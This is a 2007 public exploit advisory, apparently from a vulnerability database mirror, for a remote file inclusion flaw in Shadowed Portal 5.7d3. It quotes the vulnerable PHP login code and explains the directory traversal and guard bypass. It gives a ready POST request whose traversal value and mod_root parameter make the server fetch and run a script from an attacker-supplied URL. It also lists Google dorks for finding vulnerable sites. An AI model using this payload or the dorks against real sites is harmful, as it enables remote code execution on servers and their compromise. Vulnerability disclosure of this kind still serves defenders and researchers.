Shadowed Portal <= 5.7d3 (POST) Remote File Inclusion Vulnerability

🗓️ 22 Dec 2007 00:00:00Reported by RootType
Shadowed Portal <= 5.7d3 Remote File Inclusion Vulnerability by The:Paradox for login syste

                                                &nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------------------------------------------------------------
This&nbsp;is&nbsp;a&nbsp;Public&nbsp;Exploit.&nbsp;21/12/2007&nbsp;(dd-mm-yyyy)
------------------------------------------------------------------------------------------------
§&nbsp;Shadowed&nbsp;Portal&nbsp;5.7&nbsp;and&nbsp;maybe&nbsp;lower&nbsp;-&nbsp;Remote&nbsp;File&nbsp;Includes&nbsp;(Require)&nbsp;Vulnerabilities&nbsp;§
Vendor:	&nbsp;&nbsp;http://www.shad0wed.com
Severity:&nbsp;Highest
Author:	&nbsp;&nbsp;The:Paradox

Visit&nbsp;inj3ct-it.org

Proud&nbsp;to&nbsp;be&nbsp;Italian.
------------------------------------------------------------------------------------------------
Related&nbsp;Codes:

--&nbsp;control.php;&nbsp;line&nbsp;1:

&lt;?php

require(&quot;config.php&quot;);

require(&quot;globals.php&quot;);

require(&quot;functions.php&quot;);

require(&quot;variables.php&quot;);

$return&nbsp;=&nbsp;setvar(&quot;return&quot;);

if($act&nbsp;==&nbsp;&quot;login&quot;)&nbsp;{

$online&nbsp;=&nbsp;0;

$usr&nbsp;=&nbsp;$_POST['usr'];

$pwd&nbsp;=&nbsp;$_POST['pwd'];

if(file_exists($root.&quot;/users/&quot;.strtolower($usr).&quot;.php&quot;))&nbsp;{

require($root.&quot;/users/&quot;.strtolower($usr).&quot;.php&quot;);

}

--&nbsp;globals.php;&nbsp;line&nbsp;1:

&lt;?php

define('CHECK',md5(&quot;null&quot;));

global&nbsp;$viv;

global&nbsp;$mod;

global&nbsp;$act;

global&nbsp;$do;

global&nbsp;$act;

global&nbsp;$id;

global&nbsp;$tp;

global&nbsp;$w;

global&nbsp;$method;

global&nbsp;$board;

global&nbsp;$user;

global&nbsp;$pass;

global&nbsp;$cat;

global&nbsp;$linkback;

global&nbsp;$HTTP_POST_VARS;

global&nbsp;$_GET;

global&nbsp;$_POST;

global&nbsp;$_FILES;

global&nbsp;$HTTP_REFERER;

global&nbsp;$_SERVER;

--&nbsp;/modules/fs/mod.php;&nbsp;line&nbsp;1:

&lt;?php

if(!defined('CHECK'))&nbsp;{&nbsp;exit;&nbsp;}
require($mod_root.&quot;/config.php&quot;);

------------------------------------------------------------------------------------------------
Bug&nbsp;Explanation:&nbsp;

This&nbsp;Portal&nbsp;presents&nbsp;a&nbsp;vulnerability&nbsp;in&nbsp;the&nbsp;&quot;login&nbsp;system&quot;&nbsp;that&nbsp;allows&nbsp;us&nbsp;to&nbsp;require&nbsp;a&nbsp;page&nbsp;&quot;.php&quot;&nbsp;in&nbsp;the&nbsp;directory&nbsp;&quot;/users/&quot;&nbsp;(whatever&nbsp;using&nbsp;directory&nbsp;transversal&nbsp;(&quot;../&quot;)&nbsp;we&nbsp;can&nbsp;require&nbsp;any&nbsp;page).

Additionally&nbsp;&quot;Check&quot;&nbsp;was&nbsp;defined&nbsp;by&nbsp;the&nbsp;required&nbsp;page&nbsp;globals.php,&nbsp;allowing&nbsp;us&nbsp;to&nbsp;bypass&nbsp;the&nbsp;&quot;security-die&quot;&nbsp;on&nbsp;the&nbsp;top&nbsp;of&nbsp;most&nbsp;php&nbsp;page&nbsp;(see&nbsp;/modules/fs/mod.php;&nbsp;line&nbsp;1).
If&nbsp;we&nbsp;require&nbsp;&quot;/modules/fs/mod.php&quot;&nbsp;with&nbsp;a&nbsp;$mod_root&nbsp;value,&nbsp;we&nbsp;can&nbsp;require&nbsp;an&nbsp;external&nbsp;page&nbsp;of&nbsp;the&nbsp;site.

We&nbsp;can&nbsp;do&nbsp;Post&nbsp;Request&nbsp;to&nbsp;control.php?act=login&nbsp;with&nbsp;post&nbsp;values:&nbsp;usr=../modules/fs/mod&amp;pwd=casualpass&amp;mod_root=http://yoursite.org/yourscript?&nbsp;and&nbsp;get&nbsp;RFI.

------------------------------------------------------------------------------------------------
The&nbsp;require&nbsp;in&nbsp;control.php&nbsp;is&nbsp;extremely&nbsp;unsafe,&nbsp;it&nbsp;could&nbsp;be&nbsp;used&nbsp;with&nbsp;other&nbsp;pages&nbsp;to&nbsp;obtain&nbsp;other&nbsp;vulnerabilities.
------------------------------------------------------------------------------------------------
Google&nbsp;Dork-&gt;&nbsp;Powered&nbsp;by&nbsp;Shadowed&nbsp;Portal
Google&nbsp;Dork-&gt;&nbsp;These&nbsp;script's&nbsp;code&nbsp;is&nbsp;Copyright&nbsp;2003-2006&nbsp;by&nbsp;Shadowed&nbsp;Works.
------------------------------------------------------------------------------------------------
Use&nbsp;this&nbsp;exploit&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.&nbsp;You&nbsp;are&nbsp;responsible&nbsp;for&nbsp;your&nbsp;own&nbsp;deeds.
------------------------------------------------------------------------------------------------
Use&nbsp;your&nbsp;brain,&nbsp;do&nbsp;not&nbsp;lame.&nbsp;Enjoy.&nbsp;=)
22 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
Shadowed Portal &lt;= 5.7d3 (POST) Remote File Inclusion Vulnerability

Shadowed Portal <= 5.7d3 (POST) Remote File Inclusion Vulnerability
